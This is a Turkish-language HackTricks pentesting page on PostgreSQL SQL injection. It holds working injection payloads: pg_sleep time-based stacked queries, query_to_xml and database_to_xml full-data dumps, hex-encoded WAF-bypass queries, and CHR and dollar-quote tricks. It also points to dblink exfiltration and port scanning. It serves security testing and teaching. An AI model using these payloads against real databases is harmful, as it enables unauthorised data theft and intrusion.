PostgreSQL injection

Reading time: 3 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Bu sayfa, bir PostgreSQL veritabanında bulunan bir SQL enjeksiyonunu istismar etmenize yardımcı olabilecek farklı hileleri açıklamayı ve https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md bulabileceğiniz hileleri tamamlamayı amaçlamaktadır.

Ağ Etkileşimi - Yetki Yükseltme, Port Tarayıcı, NTLM zorluk yanıtı ifşası ve Exfiltrasyon

PostgreSQL modülü dblink, diğer PostgreSQL örneklerine bağlanma ve TCP bağlantıları gerçekleştirme yetenekleri sunar. Bu özellikler, COPY FROM işlevselliği ile birleştirildiğinde, yetki yükseltme, port tarama ve NTLM zorluk yanıtı yakalama gibi eylemleri mümkün kılar. Bu saldırıları gerçekleştirmek için detaylı yöntemler için bu saldırıları nasıl gerçekleştireceğinizi kontrol edin.

Bir CTF örneği olarak büyük nesnelerin içine veri yükleme ve ardından dblink_connect fonksiyonunun kullanıcı adı içindeki büyük nesnelerin içeriğini exfiltrate etme yöntemini görmek için bu örneği okuyabilirsiniz.

PostgreSQL Saldırıları: Okuma/yazma, RCE, yetki yükseltme

PostgreSQL'den ana makineyi nasıl tehlikeye atacağınızı ve yetkileri nasıl yükselteceğinizi kontrol edin:

5432,5433 - Pentesting Postgresql

WAF atlatma

PostgreSQL Dize işlevleri

Dizeleri manipüle etmek, WAF'ları veya diğer kısıtlamaları atlatmanıza yardımcı olabilir.
Bu sayfada bazı yararlı Dize işlevlerini bulabilirsiniz.

Yığın Sorgular

PostgreSQL'in yığın sorguları desteklediğini unutmayın, ancak birçok uygulama, yalnızca 1 yanıt beklerken 2 yanıt döndüğünde bir hata verecektir. Ancak, yine de zaman enjeksiyonu yoluyla yığın sorguları kötüye kullanabilirsiniz:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

XML hileleri

query_to_xml

Bu fonksiyon, tüm verileri yalnızca bir dosya halinde XML formatında döndürecektir. Tek bir satırda çok fazla veri dökmek istiyorsanız idealdir:

sql
SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

Bu fonksiyon, tüm veritabanını yalnızca 1 satırda XML formatında dökecektir (veritabanı çok büyükse dikkatli olun, çünkü bu durum DoS saldırısına veya hatta kendi istemcinize neden olabilir):

sql
SELECT database_to_xml(true,true,'');

Hex'teki Dize

Eğer sorguları bir dize içinde çalıştırabiliyorsanız (örneğin query_to_xml fonksiyonunu kullanarak). Dizeyi hex olarak geçmek ve bu şekilde filtreleri atlatmak için convert_from kullanabilirsiniz:

sql
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

Yasaklı alıntılar

Eğer yükleminiz için alıntı kullanamıyorsanız, bunu CHR ile aşabilirsiniz (karakter birleştirme yalnızca SELECT, INSERT, DELETE gibi temel sorgular için çalışır. Tüm SQL ifadeleri için çalışmaz):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

Ya da $ ile. Bu sorgular aynı sonuçları döndürür:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin